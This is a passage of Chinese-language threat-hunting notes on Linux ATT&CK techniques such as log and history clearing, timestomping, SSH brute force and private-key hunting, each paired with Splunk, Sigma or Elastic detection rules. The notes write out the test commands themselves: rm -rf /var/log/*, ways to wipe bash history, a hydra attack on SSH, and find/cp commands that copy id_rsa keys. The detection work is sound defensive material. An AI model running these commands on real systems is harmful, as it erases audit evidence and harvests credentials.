    "path": "Linux/07逃避防御/T1027-005-linux-主机上的监测组件删除.md",
    "content": "# T1027-005-Linux-主机上的监测组件删除\n## 来自ATT&CK的描述\n攻击者可能会删除或更改主机系统上生成的记录，包括日志和可能捕获的文件，例如隔离的恶意软件。日志的位置和格式会有所不同，但攻击者的操作行为都会被操作系统进行记录，比如典型的windows日志、linux和Mac的bash历史记录或者/var/log下的日志文件。\n攻击者干扰事件的记录，可以破坏安全设备的检测与告警，从而导致恶意攻击事件未被通报。由于缺乏足够的数据来确定发生的异常情况，还可能使安全人员的分析和事件响应更加困难。\n## 测试案例\nrm -rf  /var/log/*\n## 检测日志\nlinux audit日志 （值得注意的是：Ubuntu默认情况下没有audit，需要下载安装并配置相关策略）\nbash历史记录\n## 测试复现\nicbc@icbc:/$ sudo rm -r /var/log/icbc.log\n## 测试留痕\n基于audit日志\n暂无\n基于bash历史记录\nicbc@icbc:/$ history\n   20  sudo rm -r /var/log/icbc.log   （注意这里删除的是测试log文件）\n## 检测规则/思路\n### splunk检测规则\n#### 基于audit日志\nindex=linux sourcetype=linux_audit syscall=263 | table host,auid,uid,euid,exe,key\nindex=linux sourcetype=linux_audit type=PATH name=*.log nametype=delete\n#### 基于bash历史记录\nindex=linux sourcetype=\"bash_history\" rm * .log | table host, user_name, bash_command\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1027-005\n<https://attack.mitre.org/techniques/T1027/005/>\n"
  },
  {
    "path": "Linux/07逃避防御/T1070-002-清除Linux或Mac系统日志.md",
    "content": "# T1070-002-Linux-清除Linux或Mac系统日志\n## 来自ATT&CK的描述\n攻击者可能会清除系统日志以隐藏入侵证据。macOS和Linux都通过系统日志跟踪系统或用户启动的操作。大多数本机系统日志记录存储在/var/log/目录。 此目录中的子文件夹按其相关功能对日志进行分类，例如：\n- /var/log/messages:：一般和系统相关的消息\n- /var/log/secure或者/var/log/auth.log: 认证日志\n- /var/log/utmp或者/var/log/wtmp: 登录记录\n- /var/log/kern.log: 内核日志\n- /var/log/cron.log: Cron 日志\n- /var/log/maillog: 邮件服务器日志\n- /var/log/httpd/: Web 服务器访问和错误日​​志\n## 测试案例\n删除/var/log/auth.log日志文件\n## 检测日志\nlinux audit日志 （值得注意的是：Ubuntu默认情况下没有audit，需要下载安装并配置相关策略）\n## 测试复现\n```\nbash\nyyds@12306Br0:/var/log/audit$ sudo rm -r /var/log/auth.log\n```\n## 测试留痕\n基于audit日志\n```\nyml\ntype=EXECVE msg=audit(1654605114.800:8206): argc=3 a0=\"rm\" a1=\"-r\" a2=\"/var/log/auth.log\"\n```\n## 检测规则/思路\n### elastic规则\n```\nyml\nquery = '''\nfile where event.type == \"deletion\" and\n  file.path :\n    (\n    \"/var/run/utmp\",\n    \"/var/log/wtmp\",\n    \"/var/log/btmp\",\n    \"/var/log/lastlog\",\n    \"/var/log/faillog\",\n    \"/var/log/syslog\",\n    \"/var/log/messages\",\n    \"/var/log/secure\",\n    \"/var/log/auth.log\"\n    )\n```\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1070-002\n<https://attack.mitre.org/techniques/T1070/002/>\ndefense_evasion_log_files_deleted\n<https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_log_files_deleted.toml>\n"
  },
  {
    "path": "Linux/07逃避防御/T1070-003-linux-清除历史记录.md",
    "content": "# T1070-003-Linux-清除历史记录\n## 来自ATT&CK的描述\nmacOS和Linux都会跟踪用户在终端中输入的命令，以便用户可以轻松记住他们所做的事情。可以通过几种不同的方式访问这些日志。用户在登录后，将在环境变量指向的文件中跟踪此命令历史记录HISTFILE。当用户注销系统时，此信息将更新到用户主目录中的文件中~/.bash_history。这样做的好处是它允许用户查看他们之前在不同会话中使用过的命令。由于保存了在命令行上输入的所有内容，因此也会保存在命令行上输入的密码。攻击者可以通过滥用此功能在这些文件中搜索明文密码。此外，攻击者可以使用的方法不同，你需要防止自己的历史记录中出现这些命令，例如unset HISTFILE、export HISTFILESIZE=0、history -c、rm ~/.bash_history。\n## 测试案例\nrm ~/.bash_history\necho \" \" > .bash_history\ncat /dev/null > ~/.bash_history\nln -sf /dev/null ~/.bash_history\ntruncate -s0 ~/.bash_history\nunset HISTFILE\nexport HISTFILESIZE=0\nhistory -c\n## 检测日志\nlinux audit日志 （值得注意的是：Ubuntu默认情况下没有audit，需要下载安装并配置相关策略）\nbash历史记录\n## 测试复现\nicbc@icbc:~$ rm ~/.bash_history\n## 测试留痕\n基于audit日志\n暂无\n基于bash历史记录\nicbc@icbc:~$ history\n​    7  rm ~/.bash_history\n## 检测规则/思路\n### splunk规则\n#### 基于audit日志\n场景：rm -rf~ / .bash_history\nindex=linux sourcetype=linux_audit syscall=263 | table time,host,auid,uid,euid,exe,key\nindex=linux sourcetype=linux_audit type=PATH name=.bash_history nametype=delete | table time,name,nametype\n场景：echo \" \" > .bash_history\nindex=linux sourcetype=\"linux_audit\" bash_history_changes exe!=/home/ec2-user/splunk/bin/splunkd syscall=257 a2!=0 AND a3!=0 | table host,syscall,syscall_name,exe,auid\n#### 基于bash历史记录\nindex=linux sourcetype=\"bash_history\"  \"rm * .bash_history\"  #值得注意的是，这里只做了最简单的演示，比如history -c 是无法通过bash历史记录进行检测的！其他命令如何检测，你可以自行测试记录。\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1070-003\n<https://attack.mitre.org/techniques/T1070/003/>\n"
  },
  {
    "path": "Linux/07逃避防御/T1070-004-linux-文件删除.md",
    "content": "# T1070-004-Linux-文件删除\n## 来自ATT&CK的描述\n攻击者在系统上删除或创建恶意软件、工具或其他非本机文件，可能会留下关于在主机上执行的操作以及操作方式的痕迹。作为入侵后清理过程的一部分，攻击者可能会在入侵过程中删除这些文件以保持其隐蔽性。\n主机操作系统提供了可用于执行清理的工具，但攻击者也可以使用其他工具。示例包括本机cmd功能（如del），安全删除工具（如Windows Sysinternals SDelete）或其他第三方文件删除工具。\n## 测试案例\nrm -rf abc. text    #强制删除abc.txt\nrm -f abc.txt      #强制删除abc.txt\nshred -u abc.txt  #彻底粉碎删除文件abc.txt\n## 检测日志\nlinux audit日志 （值得注意的是：Ubuntu默认情况下没有audit，需要下载安装并配置相关策略）\nbash历史记录\n## 测试复现\nicbc@icbc:~$ rm -r abc.txt\nicbc@icbc:~$ shred -u abc.txt\n## 测试留痕\n基于audit日志\n暂无\n基于bash历史记录\n```\nbash\nicbc@icbc:~$ history\n  650  rm -r abc.txt\n  654  shred -u abc.txt\n```\n## 检测规则/思路\n### splunk规则\n#### 基于audit日志\n```\nsql\nindex=linux sourcetype=linux_audit syscall=59 comm=shred | table host,auid,msg\nindex=linux sourcetype=linux_audit type=execve shred .bash_history | table host,msg,a0,a2\nindex=linux sourcetype=linux_audit syscall=263 | table host,auid,uid,eid,exe\nindex=linux sourcetype=linux_audit syscall=82 exe=/usr/bin/shred | table host,auid,uid,eid,exe\n```\n#### 基于bash历史记录\n```\nsql\nindex=linux sourcetype=\"bash_history\" bash_command=\"rm *\" OR  bash_command=\"shred -u *\"\n```\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1070-004\n<https://attack.mitre.org/techniques/T1070/004/>\nlinux下rm命令详解\n<https://www.cnblogs.com/ftl1012/p/9247107.html>\n"
  },
  {
    "path": "Linux/07逃避防御/T1070-006-Linux-Timestamp.md",
    "content": "# T1070-006-Linux-Timestamp\n## 来自ATT&CK的描述\nTimestomping是一种修改文件时间(创建时间,修改时间)的技术,通常来将恶意文件和本文件夹其他的文件弄成相同的时间。\n## 测试案例\n具体参考下方测试复现过程(均需要拥有文件的所有权限)。主要涉及到touch命令的使用。\n```\nyml\nsos@sos-pc:/$ touch --help\n用法：touch [选项]... 文件...\n将所指定的每个文件的访问时间和修改时间更改为当前时间。\n除非提供 -c 或 -h 选项，否则指定不存在的文件将会被创建为空文件。\n如果所指定文件名为 - 则特殊处理，程序将更改与标准输出相关联的文件的\n访问时间。\n必选参数对长短选项同时适用。\n  - a  只更改访问时间\n  - c, --no-create 不创建任何文件\n  - d, --date=字符串 使用指定字符串表示时间而非当前时间\n  - f   (忽略)\n  - h, --no-dereference  会影响符号链接本身，而非符号链接所指示的目的地\n    (当系统支持更改符号链接的所有者时，此选项才有用)\n  - m  只更改修改时间\n  - r, --reference=文件   使用指定文件的时间属性而非当前时间\n  - t 时间戳              使用给定 [[CC]YY]MMDDhhmm[.ss] 的时间戳而非当前时间\n      - -time=类型        修改指定类型的时间：\n                           若所指定类型是 access、atime 或 use：与 -a 等效\n                           若所指定类型是 modify 或 mtime：与 -m 等效\n      - -help  显示此帮助信息并退出\n      - -version  显示版本信息并退出\n请注意，-d 和-t 选项可接受不同的时间/日期格式。\nGNU coreutils 在线帮助：<https://www.gnu.org/software/coreutils/>\n请向 <http://translationproject.org/team/zh_CN.html> 报告 touch 的翻译错误\n完整文档请见：<https://www.gnu.org/software/coreutils/touch>\n或者在本地使用：info '(coreutils) touch invocation'\n```\n## 检测日志\nLinux Audit、History\n## 测试复现\n### 测试1 SET A FILE’S ACCESS TIMESTAMP\n```\nbash\ntouch -a -t 197001010000.00 #{target_filename}\n```\n查看\n```\nbash\nsos@sos-pc:/hacker$ sudo touch -a -t 197001010000.00 test.txt\nsos@sos-pc:/hacker$ stat test.txt\n  文件：test.txt\n  大小：0          块：0          IO 块：4096   普通空文件\n设备：805h/2053d Inode：3018665     硬链接：1\n权限：(0644/-rw-r--r--)  Uid：(    0/    root)   Gid：(    0/    root)\n最近访问：1970-01-01 00:00:00.000000000 +0800\n最近更改：2022-01-09 19:47:00.397395450 +0800\n最近改动：2022-01-09 19:47:09.966100333 +0800\n创建时间：-\n```\n成功复现\n### 测试2 SET A FILE’S MODIFICATION TIMESTAMP\n```\nbash\ntouch -m -t 197001010000.00 #{target_filename}\n```\n查看\n```\nbash\nsos@sos-pc:/hacker$ stat test.txt\n  文件：test.txt\n  大小：0          块：0          IO 块：4096   普通空文件\n设备：805h/2053d Inode：3018665     硬链接：1\n权限：(0644/-rw-r--r--)  Uid：(    0/    root)   Gid：(    0/    root)\n最近访问：1970-01-01 00:00:00.000000000 +0800\n最近更改：2090-01-01 00:00:00.000000000 +0800\n最近改动：2022-01-09 19:48:28.929618189 +0800\n创建时间：-\n```\n成功复现\n### 测试3 SET A FILE’S CREATION TIMESTAMP\n先修改系统时间,然后创建文件,然后再把系统时间修改过来\n```\nbash\ndate -s \"1990-01-01 00:00:00\"\ntouch #{target_filename}\ndate -s \"$NOW\"\n```\n未复现成功\n### 测试4 MODIFY FILE TIMESTAMPS USING REFERENCE FILE\n```\nbash\ntouch -acmr #{reference_file_path} {target_file_path}\n```\n查看\n```\nbash\nsos@sos-pc:/hacker$ sudo touch -acmr /hacker/hfish/config.ini /hacker/one.txt\nsos@sos-pc:/hacker$ stat one.txt\n  文件：one.txt\n  大小：0          块：0          IO 块：4096   普通空文件\n设备：805h/2053d Inode：3018666     硬链接：1\n权限：(0644/-rw-r--r--)  Uid：(    0/    root)   Gid：(    0/    root)\n最近访问：2021-02-02 17:57:52.294812586 +0800\n最近更改：2020-12-21 16:54:40.000000000 +0800\n最近改动：2022-01-09 19:55:55.945380351 +0800\n创建时间：-\n```\n成功复现\n## 日志留痕\n```\nbash\n918  sudo touch -a -t 197001010000.00 test.txt\n919  stat test.txt\n920  sudo touch -m -t 209001010000.00  test.txt\n921  stat test.txt\n```\n## 检测规则/思路\n### sigma规则\n对相关命令进行检测是一种简单的方法，但是会存在绕过风险。\n### 建议\n现有的取证技术可以检测出时间戳被修改的文件的各个方面。可以使用文件修改监控来检测时间戳，该监控收集文件打开的信息，并可以比较时间戳值。\n## 参考推荐\nMITRE-ATT&CK-T1036\n<https://attack.mitre.org/techniques/T1070/006>\n跟着ATT&CK学安全之defense-evasion\n<https://snappyjack.github.io/articles/2020-01/%E8%B7%9F%E7%9D%80ATT&CK%E5%AD%A6%E5%AE%89%E5%85%A8%E4%B9%8Bdefense-evasion>\n"
  },
  {
    "path": "Linux/07逃避防御/T1222-002-linux-文件权限修改.md",
    "content": "# T1222-002-Linux-文件权限修改\n## 来自ATT&CK的描述\n文件权限通常有文件的所有者指定的自主访问控制列表(DACL)管理。文件DACL实现可能因不同系统而异，但通常明确指定那些用户/组可以执行那些操作（例如：读取、写入、执行等）。\n攻击者可以修改文件权限/属性来逃避预定的DACL策略，修改可能包括更改特定的访问权限，这可能需要获取文件的所有权或提升权限，例如：administer/root，具体取决于文件的现有权限。特定文件修改可能是许多技术的必需步骤，例如通过辅助功能，登陆脚本建立持久性，或者污染/劫持其他工具的配置文件等。\n## 测试案例\nchmod 766 abc.txt\nchmod  u+x abc.txt  #abc.txt文件属主权限，具有执行权限\nchmod  o-x abc.txt   #取消其他用户对abc.txt的执行权限\nchown runoob:runoobgroup abc.txt  将文件 abc.txt 的拥有者设为 runoob，群体的使用者 runoobgroup\n## 检测日志\nlinux audit日志 （值得注意的是：Ubuntu默认情况下没有audit，需要下载安装并配置相关策略）\nbash历史记录\n## 测试复现\nicbc@icbc:~$ sudo chmod 766 abc.txt\n......\nicbc@icbc:~$ sudo chmod u+x abc.txt\n## 测试留痕\n基于audit日志\n暂无\n基于历史记录\n icbc@icbc:~$ histroy\n  646  sudo chmod 766 abc.txt\n  647  sudo chmod u+x abc.txt\n## 检测规则/思路\n### splunk规则\n#### 基于audit日志\nindex=linux sourcetype=linux_audit syscall=90 OR syscall=91 OR sycall=268 | table msg,syscall,syscall_name,success,auid,comm,exe\n#### 基于bash历史记录\nindex=linux sourcetype=\"bash_history\" bash_command=\"chmod *\" OR bash_command=\"chown*\" | table host,user_name,bash_command\n### 建议\n值的注意的是：你需要创建一个白名单进行数据降噪，否则你可能会在无休止的去误报的路上越走越远。\n## 参考推荐\nMITRE-ATT&CK-T1222-002\n<https://attack.mitre.org/techniques/T1222/002/>\nAudit配置手册\n<https://www.cnblogs.com/bldly1989/p/7204358.html>\nDACL自主访问控制列表\n<https://baike.baidu.com/item/DACL/10681774?fr=aladdin>\nlinux下chmod命令用法\n<https://blog.csdn.net/shinehoo/article/details/5821354>\nlinux下chown命令用法\n<https://www.runoob.com/linux/linux-comm-chown.html>\n"
  },
  {
    "path": "Linux/07逃避防御/T1562-003-linux-Histcontrol.md",
    "content": "# T1562-003-Linux-Histcontrol\n## 来自ATT&CK的描述\n在HISTCONTROL环境变量决定了是否保存history命令，并最终进入~/.bash_history用户登录时出的文件。可以将此设置配置为忽略以空格开头的命令，只需将其设置为“ignorespace”即可。HISTCONTROL也可以设置为忽略重复命令，其使用方法是将其设置为“ignoredups”。在某些Linux系统中，默认设置为“ignoreboth”，它涵盖了前面的两个示例。这意味着“ls”将不会被保存，但“ls”将被历史保存。HISTCONTROL默认情况下在macOS上不存在，但可以由用户设置并且将受到保护。攻击者可以通过简单的在其所有终端命令之前添加空格来使用它进行操作操作而不留下痕迹。\n## 测试案例\nexport HISTCONTROL=ignoreboth\n## 检测日志\nbash历史记录\n## 测试复现\nicbc@icbc:/$ ls\nicbc@icbc:/$ history\n    1  ls\nicbc@icbc:/$ export HISTCONTROL=ignoreboth\nicbc@icbc:/$  ls\n## 测试留痕\nicbc@icbc:/$ history\n    1  ls\n    2  export HISTCONTROL=ignoreboth\n    3  history\n## 检测规则/思路\n### splunk规则\nindex=linux sourcetype=\"bash_history\" export HISTCONTROL | table host, user_name, bash_command\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1562-003\n<https://attack.mitre.org/techniques/T1562/003/>\nlinux history命令详解\n<https://www.cnblogs.com/keithtt/p/7040549.html>\n"
  },
  {
    "path": "Linux/07逃避防御/T1564-001-linux-隐藏文件和目录.md",
    "content": "# T1564-001-Linux-隐藏文件和目录\n## 来自ATT&CK的描述\n为了防止普通用户误操作更改系统上的特殊文件，大多数操作系统都具有“隐藏”文件的概念。当用户使用GUI浏览文件系统或在命令行上使用普通命令时，这些文件不会显示。用户必须明确要求通过一系列图形用户界面（GUI）提示或命令行查看隐藏文件。例如（windows下的dir /a，linux或MAC下的ls -a命令等）\n攻击者可以利用这一点来隐藏系统中任何位置的文件和文件夹，以便持久化并逃避不进行隐藏文件分析的用户或分析师。\nlinux/mac\n用户可以将特定文件标记为隐藏，只需将“.”作为文件或文件夹名称中的第一个字符。默认情况下，以点“.”开头的文件和文件夹无法在Finder应用程序和标准命令行实用程序（如“ls”）中查看。用户必须专门更改设置才能查看这些文件。对于命令行用法，通常会有一个标志来查看所有文件（包括隐藏文件）。要在Finder应用程序中查看这些文件，必须执行以下命令：defaults write com.apple.finder AppleShowAllFiles YES，然后重新启动Finder应用程序。\n## 测试案例\nmkdir .xx -a   #创建一个隐藏文件夹\nmv file to a  .file   #移动文件到目录a下并修改为隐藏文件\n## 检测日志\nbash历史记录\n值得注意的是：你可以从一些特定目录路径中查找到隐藏文件/目录，并将其转储到某个位置。提取出可以文件夹并查找恶意隐藏文件。\n## 测试复现\nicbc@icbc:/xx$ sudo mkdir .xx-a\nicbc@icbc:/xx$ sudo mv 1.sh /xx/.sh\n## 测试留痕\nicbc@icbc:/$ history\n1  sudo mkdir .xx-a\n2  sudo mv 1.sh /xx/.sh\n## 检测规则/思路\n### splunk规则\nindex=linux sourcetype=bash_history bash_command=\"mkdir .*\" | table host,user_name,bash_command\nindex=linux sourcetype=bash_history bash_command=\"mv *.*\" | table host,user_name,bash_command\n### 建议\n值得注意的是：你也可以通过命令直接在问题主机上进行查找，当然，你可以使用白名单来过滤掉linux系统中的标准隐藏文件/目录。这样可以减轻误报。\nfind_hidden_files.sh\n```\ndos\nfind /home/ -name \".*\"\nfind /home/ -type d -name \".*\"\nfind /home/ -type f -name \".*\"\n```\n## 相关TIP\n[[T1564-001-win-发现攻击者在回收站中隐藏恶意软件]]\n[[T1564-001-win-隐藏的文件和目录]]\n[[T1564-003-win-隐藏窗口]]\n## 参考推荐\nMITRE-ATT&CK-T1564-001\n<https://attack.mitre.org/techniques/T1564/001/>\n"
  },
  {
    "path": "Linux/08凭证访问/T1110-003-Linux-SSH暴力破解.md",
    "content": "# T1110-003-Linux-SSH暴力破解\n## 来自ATT&CK的描述\n当密码未知时，攻击者可以使用暴力破解尝试获取访问帐户密码。攻击者在操作期间尝试暴力破解登录，这是一个风险较高的选项，因为它可能导致大量身份验证失败记录以及帐户锁定，账户锁定具体取决于所设置的登录失败策略。\n通常，可以对使用常用端口上的服务进行密码喷射攻击。常见linux服务包括以下内容：\n- SSH（22/TCP）\n- Telnet（23/TCP）\n- FTP（21/ TCP）\n## 测试案例\n以下经典工具可用于端口爆破：\n- Hydra\n- Medusa\n- Patator\n- Brutepray\n- ……\n## 检测日志\nlinux 系统日志（auth.log）\nlinux audit日志\n## 测试复现\n```\nshell\nroot@icbc:/hacker/mima# hydra -l root -P passwd.txt  ssh://192.168.159.132 -V\nHydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.\n```\n## 测试留痕\nauth.log\n```\nlog\nFailed password for root from 192.168.159.129 port 43728 ssh2\n```\naudit.log\n```\nlog\ntype=USER_AUTH msg=audit(1572163129.581:316): pid=2165 uid=0 auid=4294967295 ses=4294967295 msg='op=PAM:authentication acct=\"root\" exe=\"/usr/sbin/sshd\" hostname=192.168.159.129 addr=192.168.159.129 terminal=ssh res=failed'\n```\n## 检测规则/思路\n### sigma规则\n```\nyml\ntitle: linux下ssh暴力破解\ndescription: Ubuntu18.04、kali\nreferences:\ntags: T1110-003\nstatus: experimental\nauthor: 12306Bro\nlogsource:\n    product: linux\n    service: auth.log/audit.log\ndetection:\n    keywords:\n       - 'Failed password for * ssh2' #linux auth.log\n       - '* exe=\"/usr/sbin/sshd\" * terminal=ssh res=failed'  #linux audit.log\n    condition: keywords\nlevel: medium\n```\n### elk公布检测规则\n```\nyml\nquery = '''\nsequence by host.id, source.ip, user.name with maxspan=3s\n  [authentication where event.action  in (\"ssh_login\", \"user_login\") and\n   event.outcome == \"failure\" and source.ip != null and source.ip != \"0.0.0.0\" and source.ip != \"::\" ] with runs=2\n  [authentication where event.action  in (\"ssh_login\", \"user_login\") and\n   event.outcome == \"success\" and source.ip != null and source.ip != \"0.0.0.0\" and source.ip != \"::\" ]\n'''\n```\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1110-003\n<https://attack.mitre.org/techniques/T1110/003>\n"
  },
  {
    "path": "Linux/08凭证访问/T1552-001-linux-文件中的凭据.md",
    "content": "# T1552-001-Linux-文件中的凭据\n## 来自ATT&CK的描述\n攻击者可能会在本地文件系统和远程文件共享中搜索包含不安全存储的凭据的文件。这些文件可以是用户创建的用于存储自己的凭据的文件，一组个人的共享凭据存储，包含系统或服务密码的配置文件或包含嵌入式密码的源代码/二进制文件。\n可以通过OS Credential Dumping从备份或保存的虚拟机中提取密码。也可以从Windows域控制器上存储的组策略首选项中获取密码。\n在云环境中，经过身份验证的用户凭据通常存储在本地配置和凭据文件中。在某些情况下，可以将这些文件复制并在另一台机器上重复使用，或者可以读取内容，然后将其用于身份验证，而无需复制任何文件。\n## 测试案例\ngrep -riP password #{想要查找的文件路径}\ngrep -riP password /\n## 检测日志\nlinux audit日志 （值得注意的是：Ubuntu默认情况下没有audit，需要下载安装并配置相关策略）\nbash历史记录\n## 测试复现\nicbc@icbc:/$ grep -riP passwd /etc/passwd\n## 测试留痕\n### audit日志\nicbc@icbc:/$ gedit /var/log/audit/audit.log\ntype=SYSCALL msg=audit(1563526266.080:744): arch=c000003e syscall=59 success=yes exit=0 a0=55f3435691b0 a1=55f3434345d0 a2=55f343573580 a3=8 items=2 ppid=2031 pid=4855 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=3 comm=\"grep\" exe=\"/usr/bin/grep\" key=\"auditcmd\"\ntype=EXECVE msg=audit(1563526266.080:744): argc=5 a0=\"grep\" a1=\"--color=auto\" a2=\"-riP\" a3=\"passwd\" a4=\"/etc/passwd\"\ntype=CWD msg=audit(1563526266.080:744): cwd=\"/\"\ntype=PATH msg=audit(1563526266.080:744): item=0 name=\"/usr/bin/grep\" inode=2228723 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0\n值得注意的是：这里只提取出了异常日志，故省略了很多日志细节。\n### bash历史记录\nicbc@icbc:/$ history\n1  grep -riP passwd /etc/passwd\n## 检测规则/思路\n### splunk规则\naudit日志\n```\nyml\nindex=linux sourcetype=linux_audit type=execve a0=grep   a0=\"grep\" a1=\"--color=auto\" a2=\"-riP\" a3=\"passwd\"\n```\n### splunk规则\nbash 历史记录\n```\nyml\nindex=linux sourcetype=\"bash_history\" grep password | table host,user_name,bash_command\n```\n### sigma规则\n值得注意的是：你需要自行配置Audit审核规则\n```\nyml\ntitle: 攻击者查看linux下可能包含用户账户密码的文件\ndescription: Ubuntu18.04\nreferences: https://github.com/12306Bro/Threathunting/blob/master/T1081-linux-文件中的凭证.md\ntags: T1552-001\nstatus: experimental\nauthor: 12306Bro\nlogsource:\n  product: linux\n  service: audit（需要自行配置audit规则）\ndetection:\n  keywords:\n​    - comm=\"grep\" exe=\"/bin/grep\" key=\"audit_110\"\n  condition: keywords\nlogsource:\n  product: linux\n  service: history\ndetection:\n  selection:\n  keywords:\n​    - grep * passwd\n  condition: keywords\nlevel: medium\n```\n### 建议\n暂无\n## 相关TIP\n[[T1552-001-win-文件中的凭证]]\n[[T1552-002-win-注册表中的凭证]]\n[[T1552-003-linux-Bash历史]]\n[[T1552-004-linux-私钥]]\n[[T1552-006-win-GPP-凭证转储]]\n## 参考推荐\nMITRE-ATT&CK-T1552-001\n<https://attack.mitre.org/techniques/T1552/001>\n"
  },
  {
    "path": "Linux/08凭证访问/T1552-003-linux-Bash历史.md",
    "content": "# T1552-003-Linux-Bash历史记录\n## 来自ATT&CK的描述\nBash使用“history”实用程序跟踪用户在命令行上键入的命令。用户注销后，会将历史记录刷新到用户的`.bash_history`文件中。对于每个用户，此文件位于同一位置：`~/.bash_history`。通常，此文件会跟踪用户的最近500个命令。用户通常在命令行上键入用户名和密码作为程序的参数，然后在注销时将其保存到此文件中。攻击者可以通过滥用此功能来查看文件来查看潜在凭据。\n## 测试案例\ncat #{bash历史命令名字} | grep #{bash历史命令关键词检索} > #{输出文件名}\nsudo cat  ~/.bash_history | grep password > bash.txt\n## 检测日志\nlinux audit日志 （值得注意的是：Ubuntu默认情况下没有audit，需要下载安装并配置相关策略）\nbash历史记录\n## 测试复现\nicbc@icbc:/$ sudo cat ~/.bash_history | grep password > bash.txt\n## 测试留痕\n### audit日志\nicbc@icbc:/$ sudo cat ~/.bash_history | grep password > bash.txt\ntype=PATH msg=audit(1563528127.048:1097): item=0 name=\"/usr/bin/cat\" inode=2228383 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0\ntype=PATH msg=audit(1563528127.048:1097): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=2237074 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0\ntype=PROCTITLE msg=audit(1563528127.048:1097): proctitle=636174002F726F6F742F2E626173685F686973746F7279\ntype=SYSCALL msg=audit(1563528127.056:1099): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd4ebbb73b a2=0 a3=0 items=1 ppid=5249 pid=5258 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=3 comm=\"cat\" exe=\"/usr/bin/cat\" key=\"bash_history_110\"\ntype=CWD msg=audit(1563528127.056:1099): cwd=\"/root\"\n值得注意的是：这里只提取出了异常日志，故省略了很多日志细节。\n### bash历史记录\nicbc@icbc:/$ history\n1  sudo cat ~/.bash_history | grep password > bash.txt\n## 检测规则/思路\n### splunk规则\naudit 日志\n```\nyml\nindex=linux sourcetype=\"linux_audit\" syscall=257 key=bash_history_110 | table host,auid,syscall,syscall_name,exe\n```\n值得注意的是：你需要自行配置Audit审核规则\n```\nhistory\nsudo auditctl -w ~/.bash_history -k bash_history_110\n```\nbash 历史记录\n```\nyml\nindex=linux sourcetype=bash_history cat bash_history | table _time,host,user_name,bash_command\n```\n### sigma规则\n```\nyml\ntitle: 攻击者读取linux下~/.bash_history文件，查看是否包含相关凭据密码\ndescription: Ubuntu18.04\nreferences: https://github.com/12306Bro/Threat-hunting/blob/master/T1139-linux-Bash历史记录.md\ntags: T1552-003\nstatus: experimental\nauthor: 12306Bro\nlogsource:\n​    product: linux\n​    service: audit\ndetection:\n​    keywords:\n​       - syscall=257 key=bash_history_110\n​    condition: keywords\n- ---------------------------------------------------------------------------------------\nlogsource:\n​    product: linux\n​    service: history\ndetection:\n​    selection:\n​    keywords:\n​       - cat bash_history\n​    condition: keywords\nlevel: medium\n```\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1552-003\n<https://attack.mitre.org/techniques/T1552/003/>\nAudit配置手册\n<https://www.cnblogs.com/bldly1989/p/7204358.html>\n"
  },
  {
    "path": "Linux/08凭证访问/T1552-004-linux-私钥.md",
    "content": "# T1552-004-Linux-私钥\n## 来自ATT&CK的描述\n攻击者可以从被入侵的系统上收集私钥，用于对SSH等远程服务进行身份验证（暴力破解等），或者用于解密其他收集的文件，如电子邮件。通用密钥和证书文件扩展名包括：.key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. ；攻击者还可以查看常见的密钥目录，例如基于linux/unix的系统下的~/.ssh目录或Windows 上的SSH密钥C:\\Users(username).ssh\\。\n私钥应该需要密码来进行操作，因此攻击者也可以使用键盘记录获取密码或尝试离线爆破账号密码。\n## 测试案例\nfind / -type f ( -name \"*.pem\" -o -name \"*.pgp\" -o -name \"*.gpg\" -o -name \"*.ppk\" -o -name \"*.p12\" -o -name \"*.key\" -o -name \"*.pfx\" -o -name \"*.cer\" -o -name \"*.p7b\" -o -name \"*.asc\" -o -name \"authorized*\" )\n查找用户的SSH私钥：find / -name id_rsa OR find / -name id_dsa\n使用CP复制SSH私钥：find / -name id_rsa -exec cp --parents {} #{output_folder} ;\nfind / -name id_dsa -exec cp --parents {} #{output_folder} ;\n使用rsync复制SSH私钥：find / -name id_rsa -exec rsync -R {} #{output_folder} ;\nfind / -name id_dsa -exec rsync -R {} #{output_folder} ;\n## 检测日志\nbash历史记录\n## 测试复现\nicbc@icbc:/$ sudo find / -name id_rsa\n不再进行一一测试\n## 测试留痕\nicbc@icbc:/$ history\n639  sudo find / -name id_rsa\n## 检测规则/思路\n### sigma规则\n```\nyml\ntitle: 攻击者查找linux下私钥文件\ndescription: Ubuntu18.04\nreferences: https://github.com/12306Bro/Threathunting/blob/master/T1145-linux-私钥.md\ntags: T1552-004\nstatus: experimental\nauthor: 12306Bro\nlogsource:\n    product: linux\n    service: history\ndetection:\n    keywords:\n       - sudo find / -name *.pgp\n       - sudo find / -name *.pem\n       - sudo find / -name *.ppk\n       - sudo find / -name *.p12\n       - sudo find / -name *.key\n    condition: keywords\nlevel: medium\n```\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1552-004\n<https://attack.mitre.org/techniques/T1552/004/>\nlinux下的rsync六个使用实例\n<https://www.linuxprobe.com/how-linux-rsync.html>\n"
  },
  {
    "path": "Linux/09发现/T1040-linux-网络嗅探.md",
